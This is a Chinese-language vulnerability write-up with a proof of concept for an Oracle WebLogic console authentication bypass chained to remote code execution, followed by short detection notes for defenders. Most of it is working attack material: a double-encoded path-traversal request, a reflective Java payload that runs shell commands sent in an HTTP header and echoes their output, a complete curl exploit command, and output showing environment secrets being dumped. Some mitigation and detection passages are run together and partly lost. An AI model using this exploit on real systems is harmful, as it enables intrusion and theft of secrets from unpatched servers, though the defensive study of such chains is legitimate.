
技术分析与干净的 Java Thread Echo PoC,针对 Oracle WebLogic Server 漏洞链。
该仓库包含一份技术报告(Write-up)和概念验证(Proof of Concept,PoC),用于演示 Oracle WebLogic Server 管理控制台组件中认证绕过(Authentication Bypass)与远程代码执行(RCE)漏洞链的利用。
🛑 警告与免责声明: 本材料仅用于教育目的及合法的安全审计(渗透测试)。未经所有者事先书面同意,针对系统使用所述技术将依法追究责任。
12.2.1.3 版本的隔离测试环境nmap、curl、bash为了确定攻击面,对 Web 服务的标准端口和 Java 应用管理端口进行了针对性扫描:
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
受控终端输出:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3 分支。T3 协议的启用同样提示了其他攻击向量,但本研究选择的是控制台的 HTTP Web 界面。对路径结构的分析表明,Web 服务器对双重 URL 编码的目录回溯序列处理不当。/console/css/ 资源对静态文件开放。我们构造请求以访问受保护的门户:
/console/css/%252e%252e%252fconsole.portal检查服务器的可用性和响应行为(预期返回 200 OK,而不是 403 Forbidden 或跳转到登录页面的 302 Redirect):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
服务器响应:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
将认证绕过与会话处理器 com.tangosol.coherence.mvel2.sh.ShellSession 的调用相结合,即可获得执行任意 Java 代码的能力。
通过 java.lang.Runtime 常规执行命令属于“无回显”执行(Blind RCE)。为了实现 Command Echo 技术(将终端输出直接回显在 HTTP 响应体中),我们专门编写了一个反射式 Java 载荷。
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Определяем ОС целевой системы для корректного вызова шелла
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Выполняем системную команду и считываем Input Stream
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();
为自动化发送 Java 上下文,我们组装最终的 curl 命令。载荷通过 POST 参数 handle 传递,目标命令则通过自定义请求头 X-CMD-HEADER: env 传递。
这种传递方式可避免数据被研究者本地的 Bash 命令行解释器破坏。
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
经过验证的实际输出(环境变量转储):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) 错误恰好证实了利用成功。它由 executeThread.interrupt() 指令触发,该指令在包含 env 命令结果的缓冲区发送给客户端后立即强制断开 TCP 会话。7001、/console)与外部边界完全网络隔离(仅允许通过内部 VPN/微隔离访问)。%252e)并伴随特定 Java 类调用的 URL 请求。对于安全监控人员(SOC/蓝队)而言,该漏洞链的成功利用会在基础设施中留下清晰的痕迹。
在 WebLogic 的 Web 服务器日志(通常位于 access.log)中,攻击的标志是双重 URL 编码的点号和斜杠,并伴随通过静态目录访问管理门户的请求:
.. 的编码形式:%252e%252e%252f 或 %252e%252e%252F。"POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
如果服务器配置了进程审计(例如 Linux 上的 Auditd 或 Windows 上的 Sysmon),远程代码执行(RCE)的迹象将是 Java 父进程的异常行为:
/bin/sh、/bin/bash 或 cmd.exe)的父进程是运行应用服务器的 Java 工作进程:
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER 或 X-Forwarded-Cmd),这些请求头被攻击者用于传递有效载荷(Command Echo)。